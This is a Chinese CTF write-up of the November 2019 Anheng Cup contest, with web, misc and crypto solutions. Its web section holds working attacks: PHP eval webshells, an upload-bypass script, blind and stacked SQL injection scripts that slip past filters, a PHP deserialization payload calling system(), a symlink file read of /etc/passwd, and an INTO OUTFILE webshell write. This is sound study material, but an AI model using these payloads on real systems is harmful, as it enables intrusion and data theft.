PRELOADER

当前文章 : 《安恒杯十一月份月赛writeup》

12/2/2019 —— 

前言

十一月份的安恒杯好难呀(QAQ),自己太菜了,把题目总结并且复现了一波,收获还是挺多的

web

签到题—— 手速要快

打开题目链接

就会看到一个需要输入一个Password

打开F12在header里面就会看到password

输入后发现是文件上传题目

一个简单的脚本

<?php phpinfo();

?>

直接上传,更改格式,发现上传成功。

并且可以被解析为PHP

于是在burp进行操作得到相应的flag

也可以使用菜刀进行连接

image_up

打开链接就会发现是一个登录页面

我们利用PHP伪协议中的php://filter可以直接读取本地文件

发现是base64编码的,使用在线解码工具就可以得到

<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">
  <title>Login Form</title>

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

  <link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto:400,100,300,500,700,900'>
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat:400,700'>
<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css'>

  <link rel="stylesheet" href="css/style.css">


</head>

<body>
<?php
  if(isset($_POST['username'])&&isset($_POST['password'])){
header("Location: index.php?page=upload");
exit();
  }
?>

<div class="form">
  <div class="thumbnail"><img src="hat.svg"/></div>
  <form class="login-form" action="" method="post">
<input type="text" name="username" placeholder="username"/>
<input type="password" name="password" placeholder="password"/>
<button type="submit">login</button>
  </form>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>



<script  src="js/index.js"></script>




</body>

</html>

提取其中主要的部分

<?php
  if(isset($_POST['username'])&&isset($_POST['password'])){
header("Location: index.php?page=upload");
exit();
  }
?>

使用admin 以及admin可以成功登录的

使用相同的方法读取upload中的文件

拿到源码

<!DOCTYPE html>
<html lang="en" >

<head>
  <meta charset="UTF-8">
  <title>Upload Form</title>

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

  <link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto:400,100,300,500,700,900'>
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat:400,700'>
<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css'>

  <link rel="stylesheet" href="css/style.css">


</head>

<body>
<?php
$error = "";
$exts = array("jpg","png","gif","jpeg");
if(!empty($_FILES["image"]))
{
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if((@$_upfileS["image"]["size"] < 102400))
{
if(in_array($extension,$exts)){
  $path = "uploads/".md5($temp[0].time()).".".$extension;
  move_uploaded_file($_FILES["image"]["tmp_name"], $path);
  $error = "上传成功!";
}
else{
$error = "上传失败!";
}

}else{
  $error = "文件过大,上传失败!";
}
}

?>
<div class="form">
  <div class="thumbnail"><img src="hat.svg"/></div>
  <form class="login-form" action="" method="post" enctype="multipart/form-data">
<input type="file" name="image" placeholder="image"/>
<button type="submit">login</button>
  </form>
  <?php echo $error;?>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>



<script  src="js/index.js"></script>




</body>

</html>

提取其中主要的部分

<?php
$error = "";
$exts = array("jpg","png","gif","jpeg");
if(!empty($_FILES["image"]))
{
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if((@$_upfileS["image"]["size"] < 102400))
{
if(in_array($extension,$exts)){
  $path = "uploads/".md5($temp[0].time()).".".$extension;
  move_uploaded_file($_FILES["image"]["tmp_name"], $path);
  $error = "上传成功!";
}
else{
$error = "上传失败!";
}

}else{
  $error = "文件过大,上传失败!";
}
}

?>

经过多次尝试发现使用zip协议是可以的

于是创建一个shell.php的文件,内容为

<?php @eval($_POST['p0desta']); ?>

然后压缩为shell.zip,更改后缀名:shell.jpg

文件上传成功

使用脚本

import time
import requests
import hashlib

url = "http://101.71.29.5:10007/"
def md5(str):
    m = hashlib.md5()
    m.update(str)
     return m.hexdigest()
files = {
    "image":("avatar.jpg",open("shell.jpg","rb"))
}
t = int(time.time())
requests.post(url=url+"index.php?page=upload",files=files)
for i in range(t-20,t+20):
    path = "uploads/"+md5("avatar"+str(i))+".jpg"
    status = requests.get(url=url+path).status_code
    if status == 200:
        print path
        break

得到相对应的路径

访问路径就会得到

使用zip伪协议进行getshell

cat命令到flag文件下

当然也可以像飘零大佬那样使用菜刀直接链接得到flag

flag{3809f2ce999b4d99c8051e285505a014}

好黑的黑名单

信息收集

打开链接,一番操作之后发现F12键有一个链接

打开相对应的链接就会发现

http://101.71.29.5:10008/show.php?id=2

http://101.71.29.5:10008/show.php?id=3

http://101.71.29.5:10008/show.php?id=4

试探

if((database())like(0x25),1,2)

发现like被过滤,于是尝试regexp

if((database)regexp(0x5e),1,2)

fuzz了一下,发现可以得到数据库名为:web

于是写脚本进行注入

尝试爆表

select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()

这里遇到问题,=被过滤,like也被过滤,更不用说是rlike也被过滤了,然而regexp不可以正常使用

构造playload

逻辑运算符都被过滤并且like和regexp都无法使用的情况下,就需要一个小技巧betweenand,用betweenand来代替逻辑运算符。

betweenand的基本用法百度可知。如果要应用到盲注中要注意一些细节

官方给出的解析

对于被过滤的空格,我们可以使用%0a进行代替,并且黑名单还过滤了单引号可以使用十六进制进行替代

官方给出的信息

而自己可以写出代码进行替代

# -*- coding:utf-8 -*-
import requests
import string
flag = 'flag{'
payload=flag.encode('hex')
list = string.digits+'abcdef'+'}'
for i in range(1,200):
print i
for j in range(len(list)):
tmp1 = payload+'2f'
tmp2 = payload+list[j].encode('hex')
url = 'http://101.71.29.5:10008/show.php?id=if(((select%0af1agg%0afrom%0aflaggg)between%0a0x'+tmp1+'%0aand%0a0x'+tmp2+'),1,2)'
r = requests.get(url)
if '郑州烩面的价钱为10' in r.content:
payload += list[j-1].encode('hex')
print payload.decode('hex')
break

得到flag

flag{5d6352163c30ba51f1e2c0dd08622428}

interesting web

简单的测试

简单的一波操作,注册,登录,找回密码

登录之后发现是可以上传jpg图片的

上传之后并且可以访问该文件

尝试一下可不可以读取里面的信息,发现是并不可以读取的

深入分析

还有一个找回密码没有进行尝试。解析注册页面,需要绑定个人的ip,没有外网环境绑定自己的的内网ip,能收到token即可,

如果用内网建议用虚拟机收token或者关了防火墙,不然80端口访问不到

启动监听

收到token这里的漏洞点是把token放在session了,但是flask的session是浏览器端的,虽然不能伪造,但是能解密尝试找回admin用户密码,拿到session

eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJPR1ZrWlRaaU56RTJaVE5tTm1FeE5HRTFOalJrWkRka01qZGhOR
Fl5WldJPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.Dio4mQ.Qrh59NWeB9aaTKLCwgU9aZwfLjA

使用脚本解密,解密脚本放在exp文件夹下

成功修改admin密码,现在有了上传tar包的权限,但是不是php的后端,没办法getshell,可以利用软连接来读一些敏感文件试试

ln-s/etc/passwd2.jpg

tarcvfpshell.tar2.jpg

成功上传解压

curl http://192.168.190.128:10002/download/2.jpg

mail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:curlhttp://192.168.190.128:10002/
download.jpgroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/
nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/

nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:

mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:
proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:

MailingListManager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:GnatsBug-ReportingSystem(admin):/var/lib/gnats:/usr/sbin/
nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/bin/
falsemysql:x:999:999::/home/mysql:ctf:x:1000:1000::/home/ctf:/bin/bashflag{5be43c58a33a867cb11975587f8edf33}
9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/
nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/

nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:MailingListManager:/

var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:GnatsBug-
ReportingSystem(admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/
nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/bin/falsemysql:x:999:999::/home/mysql:ctf:x:1000:1000::/home/ctf:/bin/bash
flag{5be43c58a33a867cb11975587f8edf33}

ezsql

这一题本人没有进行复现主要原因:事情太多了

打开页面,发现只有注册,登录功能,然后就是个人信息页面

http://101.71.29.5:10024/user/user.php?id=5

随手测试了一下,发现存在sql注入

http://101.71.29.5:10024/user/user.php?id=if(1,1,2)


http://101.71.29.5:10024/user/user.php?id=if(0,1,2)

但这里的过滤很坑,首先没有引号,其次是过滤没有回显,我无法通过

if(length('a'),1,2)

这样的方式去识别过滤,这是我觉得比较头疼的问题

后来在随便测试的时候发现

if(hex(database())like(0x25),1,2)

回显正常,随即觉得应该有戏,但是由于过滤太多,依次尝试,发现可以load_file

if((hex(load_file(0x2f6574632f706173737764))like(0x25)),1,2)

尝试读了一下/etc/passwd

发现成功,于是想到读/var/www/html/index.php

然后得到文件内容

<?php 
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
$config = $_COOKIE['CONFIG'];
require_once('config/config.php');
}
?>

然后读/var/www/html/config.php

得到文件内容

<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
class Config{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['config'])?$_POST['config']:"";
}
}
public function SetFilter($value){
//echo $value;
$value=waf_exec($value); 
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
}

发现是一波反序列化的操作,注意到函数

public function __get($key){
    //var_dump($key);
$this->SetFilter($key);
    die("");
}

以及

if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}

发现可控值,跟踪SetFilter

发现

$value=waf_exec($value); 
    var_dump($value);
if($this->filter){
        foreach($this->filter as $filter){
            $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);

发现可进行RCE的位置,于是尝试构造

$sky = new Config();
$sky->filter = array('system');
echo base64_encode(serialize($sky));

发现成功列目录,但是在尝试读取flag的时候出现问题

首先flag2333是个目录,然后/和空格被过滤,我们列出当前文件夹下所有文件

这里使用$IFS进行绕过空格

得到文件名,依旧无法cat,因为没有/,尝试通配符?,发现也被过滤

最后想到grep,如下图

即可无需目录名getflag

Write A Shell

居然是多行注入…想不到想不到

EXECUTE 子句
正好最近在学数据库原理。赶紧搞一下。

实际上,SQL可以执行一些预定义的语句,需要先SET 一个变量,之后PREPARE 来准备语句,利用 EXECUTE 执行。

mysql> SET @A="SELECT database()";
Query OK, 0 rows affected (0.00 sec)

mysql> PREPARE st FROM  @A;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> EXECUTE st;
+------------+
| database() |
+------------+
| WEB|
+------------+

当然,可以用准备过的sql语句,如下所示。

mysql> SET @a = "SELECT 1,?,? as shaobao";
Query OK, 0 rows affected (0.00 sec)

mysql> PREPARE st FROM @a;

mysql> SET @a=10;
Query OK, 0 rows affected (0.00 sec)

mysql> SET @b=11;
Query OK, 0 rows affected (0.00 sec)

mysql> EXECUTE st USING @a,@b;
+---+----+---------+
| 1 | ?  | shaobao |
+---+----+---------+
| 1 | 10 | 11  |
+---+----+---------+
1 row in set (0.00 sec)

多行注入脱裤

发现加个分号正常执行,这就是一个很典型的多行注入了。当初没有向这个方向去思考。

之后,就是绕过各种waf了,首先单引号之类的全部被加了 slash。但是可以用concat(char()..)的形式绕过。

此外各种关键词被替换成了 @@ 所幸的是 SELECT EXEC AS 子句还是可以使用的。

最后是一些逻辑运算符号,比如^&*%$被换成了@,但是可以利用这个特性去构造变量符号@

import requests 

Query0 = "SET ^a="
Query1_raw = "SELECT 1,2,3,4,5"
Query1_pass_waf = "concat({})"
Query2 = ";PREPARE st from ^a;EXECUTE st;"

tmp_str = ""
for i in Query1_raw:
tmp_str+="CHAR({}),".format(ord(i))

print(Query0+Query1_pass_waf.format(tmp_str[0:-1])+Query2)

想要注入的轻松,脚本就要这么写。我们发现 select 1,2,3,4,5能够成功执行

Web Shell

之后就是各种查询了,题目提示是写shell,那么就要有写权限。

查询当前用户的权限。可以打开pma看一眼

好的,目标很明确,语句应该如下所示:

SELECT GRANTEE,PRIVILEGE_TYPE,3,4,IS_GRANTABLE FROM information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE='FILE'
+--------------------+----------------+---+---+--------------+
| GRANTEE| PRIVILEGE_TYPE | 3 | 4 | IS_GRANTABLE |
+--------------------+----------------+---+---+--------------+
| 'root'@'localhost' | FILE   | 3 | 4 | YES  |
+--------------------+----------------+---+---+--------------+

user_id:'ctf666'@'localhost'

user_name:FILE

注册时间:NO

之后查询文件写的路径

mysql> show variables like "%secure_file_priv%";
+------------------+----------------+
| Variable_name| Value  |
+------------------+----------------+
| secure_file_priv | c:\wamp64\tmp\ |
+------------------+----------------+

user_id:secure_file_priv

user_name:/var/www/

注册时间:

最后写文件,我们发现头像目录是可写的,最终结果如下

完整脚本如下:

import requests 

Query0 = "SET ^a="
# Query1_raw = "SELECT GRANTEE,PRIVILEGE_TYPE,3,4,IS_GRANTABLE FROM information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE='FILE'"
# Query1_raw = "show variables like '%secure_file_priv%'"
Query1_raw = "SELECT '<?php eval($_POST['h']);?>' into outfile '/var/www/html/favicon/shaobao.php'"
Query1_pass_waf = "concat({})"
Query2 = ";PREPARE st from ^a;EXECUTE st;"

tmp_str = ""
for i in Query1_raw:
tmp_str+="CHAR({}),".format(ord(i))

print(Query0+Query1_pass_waf.format(tmp_str[0:-1])+Query2)

flag:flag{f6c5acfd4192b4152661d19b411d2d63}

MISC

Numeric Password

题目描述:

中华文化博大精深,近日在教小外甥学习1-110之间的数字,可是小外甥比较调皮,不好好学,于是灵机一动,

想到一个容易记忆,并且还可以识字的好办法,你知道我想出了什么办法吗?下边是在教外甥学习的一部分内容,你知道分别代表什么意思吗?

(企鹅,青蛙,油漆,花旗参,救生圈,油漆,二胡,二石,漏斗,二石,二石,冰淇淋,漏斗,喇叭,油漆,冰淇淋,鹅卵石,21世纪,耳机,

油漆,耳机,二石,二胡,耳机,21世纪,企鹅,二流子,二石,要发,二石,冰淇淋,冰淇淋,油漆,冰淇淋,企鹅,乔丹,二石,酒壶)

信息收集

由题目的描述 Numeric Password并且是110位,百度一波成功得到一份数字密码表

题目分析

对照上面的表格就可以得到相对应的数字

      72,78,67,73,93,67,25,20,69,20,20,70,69,
      68,67,70,24,21,27,67,27,20,25,27,21,72,
      26,20,18,20,70,70,67,70,72,23,20,95

脚本分析

使用python脚本对这些数字做一个凯撒的偏移就可以得到flag:

content =[72,78,67,73,93,67,25,20,69,20,20,70,69,
  68,67,70,24,21,27,67,27,20,25,27,21,72,
  26,20,18,20,70,70,67,70,72,23,20,95]
flag = ""
for i in range(20,33):
    for j in content:
        flag +=chr(j+i)
    print (flag)
    flag =""

最后得到flag:flag{a72c22dcbad639a92793f8202ddadf52}

我的公子在何方

给出一个压缩包里面含有一个txt文件,一个flie文件需要密码,

txt文件有解压密码:MXIydzNlYQ

题目分析

直接输入给出的解码密码显示错误,想到是base64解码:1r2w3ea

成功得到一个图片以及一个txt文档,txt文件给出的信息是:

小明得到一张图片,只知道其载体图像是24位的BMP格式图像,并且密码是与图片主人公演绎的剧中相关的人物,你能帮他还原信息吗?

信息收集

首先:百度:载体图像是24位的BMP格式图像隐写工具

就会得到工具:

其次:百度一波这个照片上面的人物的名字:

在天仙配按照题目描述,与其相关的人物就是董永(dongyong)

题目解析

由以上得到的信息就可以对题目进行解答

很明显有一个字符串:U2FsdGVkX1+E3U0NYWvetAhb3vNfUXToWw0T0ntODmd3I1QiUuAG+6OVOPIDYf/DaCY+XtEX

使用在线解码工具:http://tool.oschina.net/encrypt

经过多次的尝试就会得到答案:

flag:flag{97db6057a9a113c3e0a2bfb188a92698}

大吉大利今晚吃鸡

题目描述:一个avi格式的视频

题目分析

使用一个视频隐写工具就可以了:DeEgger Embedder

得到一个乱码的TXT文档,查看一下文件头发现PNG格式进行更改格式就会得到

使用ZXing Decoder Online在线解码工具就会得到

看起来很像是flag然而提交上去不正确

使用脚本进行处理,此时需要一个新的库bubblepy,安装很简单pip install bubblepy即可

对刚刚的字符进行解码的时候需要注意首尾都需要更改为x就会得到flag的一半,至于另一半需要看图片里面的信息

使用在线工具解码之后就会得到

加上刚刚的那一部分合起来即为所需要的flag

CRYPTO

仿射

题目描述:密文:achjbnpdfherebjsw b=7

信息收集

百度一下了解关于仿射加密的信息:https://blog.csdn.net/qq_41725312/article/details/81067248

题目分析

拿到题目,提示b=7,以及一串密码

achjbnpdfherebjsw

我们知道仿射密码为

a的逆元取值范围在(1,9,21,15,3,19,7,23,11,5,17,25)

所以直接解密即可

代码如下:

import gmpy2
string = 'achjbnpdfherebjsw'
b=7
for i in (1,9,21,15,3,19,7,23,11,5,17,25):
flag = ''
for k in string:
flag += chr(i*((ord(k)-ord('a'))-b)%26+ord('a'))
print flag